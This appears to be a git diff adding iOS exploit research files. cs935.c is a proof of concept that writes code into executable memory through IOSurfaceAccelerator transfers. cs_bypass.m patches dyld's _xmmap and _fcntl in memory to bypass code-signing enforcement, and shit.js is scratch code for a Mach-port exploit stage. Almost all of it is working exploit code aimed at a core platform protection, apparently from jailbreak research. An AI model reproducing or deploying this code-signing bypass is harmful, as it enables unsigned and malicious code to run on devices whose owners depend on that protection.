diff options
Diffstat (limited to 'work')
| -rw-r--r-- | work/cs935.c | 133 | ||||
| -rwxr-xr-x | work/cs_bypass.m | 302 | ||||
| -rw-r--r-- | work/shit.js | 41 |
3 files changed, 476 insertions, 0 deletions
diff --git a/work/cs935.c b/work/cs935.c new file mode 100644 index 0000000..446d16d --- /dev/null +++ b/work/cs935.c @@ -0,0 +1,133 @@ +// +// cs935.c +// cs935 +// +// Created by tihmstar on 12.05.22. +// + +#include "cs935.h" +#include <fcntl.h> +#import <sys/syscall.h> +#import <dlfcn.h> +#include <mach-o/nlist.h> +#include <mach-o/dyld.h> +#include <mach-o/fat.h> +#include <sys/mman.h> +#include <mach/mach.h> +#include <CoreFoundation/CoreFoundation.h> + +kern_return_t mach_vm_remap(vm_map_t target_task, mach_vm_address_t *target_address, mach_vm_size_t size, mach_vm_offset_t mask, int flags, vm_map_t src_task, mach_vm_address_t src_address, boolean_t copy, vm_prot_t *cur_protection, vm_prot_t *max_protection, vm_inherit_t inheritance); +static CFStringRef *my_kIOSurfaceBytesPerRow; +static CFStringRef *my_kIOSurfaceWidth; +static CFStringRef *my_kIOSurfaceHeight; +static CFStringRef *my_kIOSurfacePixelFormat; +static uint32_t (*my_IOSurfaceAcceleratorCreate)(CFAllocatorRef allocator, int type, void *outAccelerator); +static void *(*my_IOSurfaceCreate)(CFDictionaryRef properties); +static uint32_t (*my_IOSurfaceAcceleratorTransferSurface)(void *accelerator, void *source, void *dest, CFDictionaryRef, void *); + + +uint32_t data[0x100] = { + 0x1000//size of executable code mapped R-X, everything after is RW- +}; + +int testcode(int a, int b); + + +asm(".align 4"); +int doAdd(int a, int b){ + return a+b; +} +int end_doAdd(){ + return 0; +} + + +void *getData(){ + //first prepare data + uint8_t *start = (uint8_t*)(((uint64_t)doAdd) & ~1); + uint8_t *end = (uint8_t*)end_doAdd; + memcpy(&data[1], start, end-start); + + return data; +} + +void *memcpy_exec(void *dst, void*src, size_t size){ + //setup + CFMutableDictionaryRef dict = NULL; + void* accel = 0; + { + int width = PAGE_SIZE / (16*4); + int height = 16; + int pitch = width*4; + char pixelFormat[4] = {'A','R','G','B'}; + dict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); + CFDictionarySetValue(dict, *my_kIOSurfaceBytesPerRow, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &pitch)); + CFDictionarySetValue(dict, *my_kIOSurfaceWidth, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &width)); + CFDictionarySetValue(dict, *my_kIOSurfaceHeight, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &height)); + CFDictionarySetValue(dict, *my_kIOSurfacePixelFormat, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, pixelFormat)); + assert(my_IOSurfaceAcceleratorCreate(kCFAllocatorDefault, 0, &accel) == KERN_SUCCESS); + } + + //transfer pages + for (uint32_t i=0; i<size; i+= PAGE_SIZE) { + kern_return_t kr = 0; + mach_vm_address_t target = ((uint64_t)dst)+i; + mach_vm_address_t srcaddr = src; + + CFDictionarySetValue(dict, CFSTR("IOSurfaceAddress"), CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt64Type, &srcaddr)); + void *srcSurf = my_IOSurfaceCreate(dict); + + mprotect(target, PAGE_SIZE, PROT_READ|PROT_WRITE); + CFDictionarySetValue(dict, CFSTR("IOSurfaceAddress"), CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt64Type, &target)); + void *destSurf = my_IOSurfaceCreate(dict); + mprotect(target, PAGE_SIZE, PROT_READ|PROT_EXEC); + mlock(target, PAGE_SIZE); + + kr = my_IOSurfaceAcceleratorTransferSurface(accel, srcSurf, destSurf, 0, 0); + printf("kr2=0x%08x\n",kr); + assert(kr == 0); + + CFRelease(destSurf); + CFRelease(srcSurf); + } + return dst; +} + +void linkIOSurface(){ + void *h = dlopen("/System/Library/PrivateFrameworks/IOSurface.framework/IOSurface", RTLD_NOW); + + my_kIOSurfaceBytesPerRow = dlsym(h, "kIOSurfaceBytesPerRow"); + my_kIOSurfaceWidth = dlsym(h, "kIOSurfaceWidth"); + my_kIOSurfaceHeight = dlsym(h, "kIOSurfaceHeight"); + my_kIOSurfacePixelFormat = dlsym(h, "kIOSurfacePixelFormat"); + + my_IOSurfaceAcceleratorCreate = dlsym(h, "IOSurfaceAcceleratorCreate"); + my_IOSurfaceCreate = dlsym(h, "IOSurfaceCreate"); + my_IOSurfaceAcceleratorTransferSurface = dlsym(h, "IOSurfaceAcceleratorTransferSurface"); +} + +int main(int,char**); + +void poc(void){ + + linkIOSurface(); + + uint8_t *tmp = malloc(0x4000); + uint8_t *start = (uint8_t*)(((uint64_t)doAdd) & ~1); + memcpy(tmp, start, 0x1000); + + uint8_t *finish = (uint8_t*)(((uint64_t)testcode) & ~0xfff); + + memcpy_exec(finish, tmp, 0x1000); + + int (*kkk)(int,int) = (finish+1); + + int res = kkk(7,10); + printf("res = %d\n",res); + + printf(""); +}; + +int testcode(int a, int b){ + return 4; +} diff --git a/work/cs_bypass.m b/work/cs_bypass.m new file mode 100755 index 0000000..f447b14 --- /dev/null +++ b/work/cs_bypass.m @@ -0,0 +1,302 @@ +
+#import <Foundation/Foundation.h>
+#import <sys/syscall.h>
+#import <dlfcn.h>
+#include <mach-o/nlist.h>
+#include <mach-o/dyld.h>
+#include <mach-o/fat.h>
+#include <sys/mman.h>
+#include <mach/mach.h>
+#import <IOSurface/IOSurface.h>
+
+kern_return_t IOSurfaceAcceleratorCreate(CFAllocatorRef allocator, int type, void **outAccelerator);
+kern_return_t IOSurfaceAcceleratorTransferSurface(void* accelerator, IOSurfaceRef source, IOSurfaceRef dest, CFDictionaryRef, void *);
+
+#ifdef __LP64__
+#define mach_hdr struct mach_header_64
+#define sgmt_cmd struct segment_command_64
+#define sect_cmd struct section_64
+#define nlist_ struct nlist_64
+#define LC_SGMT LC_SEGMENT_64
+#define MH_MAGIC_ MH_MAGIC_64
+#else
+#define mach_hdr struct mach_header
+#define sgmt_cmd struct segment_command
+#define sect_cmd struct section
+#define nlist_ struct nlist
+#define LC_SGMT LC_SEGMENT
+#define MH_MAGIC_ MH_MAGIC
+#endif
+#define load_cmd struct load_command
+
+
+sect_cmd *find_section(sgmt_cmd *seg, const char *name)
+{
+ sect_cmd *sect, *fs = NULL;
+ uint32_t i = 0;
+ for (i = 0, sect = (sect_cmd *)((uint64_t)seg + (uint64_t)sizeof(sgmt_cmd));
+ i < seg->nsects;
+ i++, sect = (sect_cmd*)((uint64_t)sect + sizeof(sect_cmd)))
+ {
+ if (!strcmp(sect->sectname, name)) {
+ fs = sect;
+ break;
+ }
+ }
+ return fs;
+}
+
+struct load_command *find_load_command(mach_hdr *mh, uint32_t cmd)
+{
+ load_cmd *lc, *flc;
+ lc = (load_cmd *)((uint64_t)mh + sizeof(mach_hdr));
+ while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) {
+ if (lc->cmd == cmd) {
+ flc = (load_cmd *)lc;
+ break;
+ }
+ lc = (load_cmd *)((uint64_t)lc + (uint64_t)lc->cmdsize);
+ }
+ return flc;
+}
+
+sgmt_cmd *find_segment(mach_hdr *mh, const char *segname)
+{
+ load_cmd *lc;
+ sgmt_cmd *s, *fs = NULL;
+ lc = (load_cmd *)((uint64_t)mh + sizeof(mach_hdr));
+ while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) {
+ if (lc->cmd == LC_SGMT) {
+ s = (sgmt_cmd *)lc;
+ if (!strcmp(s->segname, segname)) {
+ fs = s;
+ break;
+ }
+ }
+ lc = (load_cmd *)((uint64_t)lc + (uint64_t)lc->cmdsize);
+ }
+ return fs;
+}
+
+void* find_sym(mach_hdr *mh, const char *name) {
+ sgmt_cmd* first = (sgmt_cmd*) find_load_command(mh, LC_SGMT);
+ sgmt_cmd* linkedit = find_segment(mh, SEG_LINKEDIT);
+ struct symtab_command* symtab = (struct symtab_command*) find_load_command(mh, LC_SYMTAB);
+ vm_address_t vmaddr_slide = (vm_address_t)mh - (vm_address_t)first->vmaddr;
+
+ char* sym_str_table = (char*) linkedit->vmaddr - linkedit->fileoff + vmaddr_slide + symtab->stroff;
+ nlist_* sym_table = (nlist_*)(linkedit->vmaddr - linkedit->fileoff + vmaddr_slide + symtab->symoff);
+
+ for (int i = 0; i < symtab->nsyms; i++) {
+ if (sym_table[i].n_value && !strcmp(name,&sym_str_table[sym_table[i].n_un.n_strx])) {
+ return (void*) (uint64_t) (sym_table[i].n_value + vmaddr_slide);
+ }
+ }
+ return 0;
+}
+
+vm_address_t find_dyld() {
+ kern_return_t kr = KERN_SUCCESS;
+ vm_address_t address = 0;
+ vm_size_t size = 0;
+
+ while (1) {
+ mach_msg_type_number_t count;
+ struct vm_region_submap_info_64 info;
+ uint32_t nesting_depth;
+
+ count = VM_REGION_SUBMAP_INFO_COUNT_64;
+ kr = vm_region_recurse_64(mach_task_self(), &address, &size, &nesting_depth,
+ (vm_region_info_64_t)&info, &count);
+ if (kr == KERN_INVALID_ADDRESS) {
+ break;
+ } else if (kr) {
+ mach_error("vm_region:", kr);
+ break; /* last region done */
+ }
+
+ if (info.is_submap) {
+ nesting_depth++;
+ } else {
+ if (info.protection & PROT_EXEC && info.protection & PROT_READ) {
+ if (*(uint32_t*) (address) == MH_MAGIC_ ) {
+ mach_hdr* hd = (mach_hdr*) address;
+ if (hd->filetype == MH_DYLINKER) {
+ return address;
+ }
+ }
+ }
+ address += size;
+ }
+ }
+ return 0;
+}
+
+static int fcntlhook(int a, int b) {
+ return -1;
+}
+
+
+void memcpy_bypassprot_page(void* addr, void* src) {
+ static int fd = 0;
+ static vm_offset_t protmap = 0;
+ static CFMutableDictionaryRef dict;
+ static void* accel = 0;
+
+ if (!fd) {
+ fd = open("/usr/lib/dyld", O_RDONLY);
+
+
+ assert(fd!=-1);
+
+ char dyld_header[0x4000];
+
+ vm_offset_t off = 0;
+ while (1) {
+ pread(fd, dyld_header, 0x4000, off);
+
+ if (*(uint32_t*)(dyld_header) == MH_MAGIC) {
+ break;
+ }
+
+ off += 0x1000;
+ }
+
+
+ struct mach_header* hdr = dyld_header;
+ struct load_command* lc = hdr + 1;
+ for (int i = 0; i < hdr->ncmds; i++) {
+ if (lc->cmd == LC_CODE_SIGNATURE) {
+ struct linkedit_data_command* codeSigCmd = lc;
+ fsignatures_t siginfo;
+ siginfo.fs_file_start=off; // start of mach-o slice in fat file
+ siginfo.fs_blob_start=(void*)(long)(codeSigCmd->dataoff); // start of CD in mach-o file
+ siginfo.fs_blob_size=codeSigCmd->datasize; // size of CD
+ int result = fcntl(fd, F_ADDFILESIGS_RETURN, &siginfo);
+ NSLog(@"Sigload %x", result);
+ protmap = off;
+ break;
+ }
+ lc = ((char*)lc) + lc->cmdsize;
+ }
+
+ assert(protmap);
+
+ int width = PAGE_SIZE / (8*4);
+ int height = 8;
+
+ int pitch = width*4, size = width*height*4;
+ int bPE=4;
+ char pixelFormat[4] = {'A','R','G','B'};
+ dict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
+ CFDictionarySetValue(dict, kIOSurfaceBytesPerRow, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &pitch));
+ CFDictionarySetValue(dict, kIOSurfaceBytesPerElement, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &bPE));
+ CFDictionarySetValue(dict, kIOSurfaceWidth, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &width));
+ CFDictionarySetValue(dict, kIOSurfaceHeight, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &height));
+ CFDictionarySetValue(dict, kIOSurfacePixelFormat, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, pixelFormat));
+ CFDictionarySetValue(dict, kIOSurfaceAllocSize, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &size));
+ assert(IOSurfaceAcceleratorCreate(kCFAllocatorDefault, 0, &accel) == KERN_SUCCESS);
+ IOSurfaceAcceleratorTransferSurface(0,0,0,0,0);
+ mprotect(0,0,0);
+ mlock(0,0);
+ mmap(0,0,0,0,0,0);
+ IOSurfaceCreate(0);
+ memcmp(0,0,0);
+
+ }
+
+ CFDictionarySetValue(dict, CFSTR("IOSurfaceAddress"), CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt64Type, &src));
+ IOSurfaceRef srcSurf = IOSurfaceCreate(dict);
+
+ munmap(addr,PAGE_SIZE);
+ mmap(addr, PAGE_SIZE, PROT_READ|PROT_EXEC, MAP_FIXED|MAP_FILE|MAP_PRIVATE, fd, protmap);
+ mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE);
+ CFDictionarySetValue(dict, CFSTR("IOSurfaceAddress"), CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt64Type, &addr));
+ IOSurfaceRef destSurf = IOSurfaceCreate(dict);
+ mprotect(addr, PAGE_SIZE, PROT_READ|PROT_EXEC);
+ mlock(addr, PAGE_SIZE);
+
+ assert(destSurf && srcSurf);
+ assert(IOSurfaceAcceleratorTransferSurface(accel, srcSurf, destSurf, 0, 0) == 0);
+
+ CFRelease(destSurf);
+ CFRelease(srcSurf);
+}
+
+
+
+static void *
+mmaphook(void *addr, size_t len, int prot, int flags, int fd, off_t offset)
+{
+ if (!(prot & PROT_EXEC)) {
+ return mmap(addr,len,prot,flags,fd,offset);
+ }
+ static char* buf = 0;
+ if (!buf) {
+ buf = mmap(0, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, 0, 0);
+ }
+ off_t actoff = 0;
+
+ while (actoff < len) {
+ pread(fd, buf, PAGE_SIZE, offset+actoff);
+ memcpy_bypassprot_page(addr + actoff, buf);
+ actoff += PAGE_SIZE;
+ }
+ return addr;
+}
+
+__attribute__((constructor))
+void ayy_lmao() {
+ // Load PLT entries (munmap breaks dyld..)
+
+ mmap(0, 0, 0, 0, 0, 0);
+ mlock(0, 0);
+ mprotect(0, 0, 0);
+
+ char *buf = mmap(0, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, 0, 0);
+
+
+ mach_hdr* dyld_hdr = (mach_hdr*) find_dyld();
+ assert(dyld_hdr);
+ assert(dyld_hdr->filetype == MH_DYLINKER);
+ // Copy original code
+
+ vm_address_t fcntl = (vm_address_t) find_sym(dyld_hdr, "_fcntl");
+ assert(fcntl);
+ vm_address_t xmmap = (vm_address_t) find_sym(dyld_hdr, "_xmmap");
+ assert(xmmap);
+
+ memcpy(buf, (void*)(xmmap & (~PAGE_MASK)), PAGE_SIZE);
+
+ // Patch.
+
+ extern void _tramp_begin();
+ extern void _tramp_end();
+ char* xmb = &buf[xmmap & PAGE_MASK];
+ memcpy(xmb, _tramp_begin, ((vm_address_t)_tramp_end)-((vm_address_t)_tramp_begin));
+
+ vm_address_t* tramp_target = (vm_address_t*) &xmb[((vm_address_t)_tramp_end)-((vm_address_t)_tramp_begin)];
+ tramp_target --;
+ *tramp_target = (vm_address_t) mmaphook;
+
+ // Replace code
+
+ memcpy_bypassprot_page((void*)(xmmap & (~PAGE_MASK)), buf);
+
+ // Copy original code
+
+ memcpy(buf, (void*)(fcntl & (~PAGE_MASK)), PAGE_SIZE);
+
+ // Patch.
+
+ xmb = &buf[fcntl & PAGE_MASK];
+ memcpy(xmb, _tramp_begin, ((vm_address_t)_tramp_end)-((vm_address_t)_tramp_begin));
+
+ tramp_target = (vm_address_t*) &xmb[((vm_address_t)_tramp_end)-((vm_address_t)_tramp_begin)];
+ tramp_target --;
+ *tramp_target = (vm_address_t) fcntlhook;
+
+ // Replace code
+
+ memcpy_bypassprot_page((void*)(fcntl & (~PAGE_MASK)), buf);
+}
\ No newline at end of file diff --git a/work/shit.js b/work/shit.js new file mode 100644 index 0000000..4a84da9 --- /dev/null +++ b/work/shit.js @@ -0,0 +1,41 @@ + + +// new_buf_.push(tmp[0]); +// new_buf_.push(tmp[1]); +// new_buf_.push(tmp[2]); +// new_buf_.push(tmp[3]); +// tmp = u32_to_u8x4(num); +// new_buf_.push(tmp[0]); +// new_buf_.push(tmp[1]); +// new_buf_.push(tmp[2]); +// new_buf_.push(tmp[3]); +// new_buf_.push(0); +// new_buf_.push(0); +// new_buf_.push(MACH_MSG_OOL_PORTS_DESCRIPTOR); +// new_buf_.push(19); + +// printf("%x 0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,\n", new_buf_.length, new_buf_[zz]]); + +// var new_buf = fast_array_mul(new_buf_, number_port_descs); + + /* + for (var i = 0; i < number_port_descs; i++) { + write_u32(buf + (req_init_port_set * (i + 1)) + req_init_port_set_address, init_port_set); + write_u32(buf + (req_init_port_set * (i + 1)) + req_init_port_set_count, num); + write_u8(buf + (req_init_port_set * (i + 1)) + 0x8, 0); + write_u8(buf + (req_init_port_set * (i + 1)) + 0xa, 19); + write_u8(buf + (req_init_port_set * (i + 1)) + 0xb, MACH_MSG_OOL_PORTS_DESCRIPTOR); + }*/ + +// var tmp = u32_to_u8x4(init_port_set); +printf("still alive? %x\n", 420); +printf("still still alive?\n"); +printf("yolo\n"); +printf("%x\n", o); + +mach_port_deallocate(self, read_u32(data)); +write_u32(data, MACH_PORT_NULL); +printf("%x %x\n", master, read_u32(master)); +printf("%x\n", read_u32(0x36ebf00c + get_dyld_shc_slide())); +printf("still alive? %x %x\n", err, read_u32(err)); +printf("still alive? %x %x\n", err, read_u32(err)); |
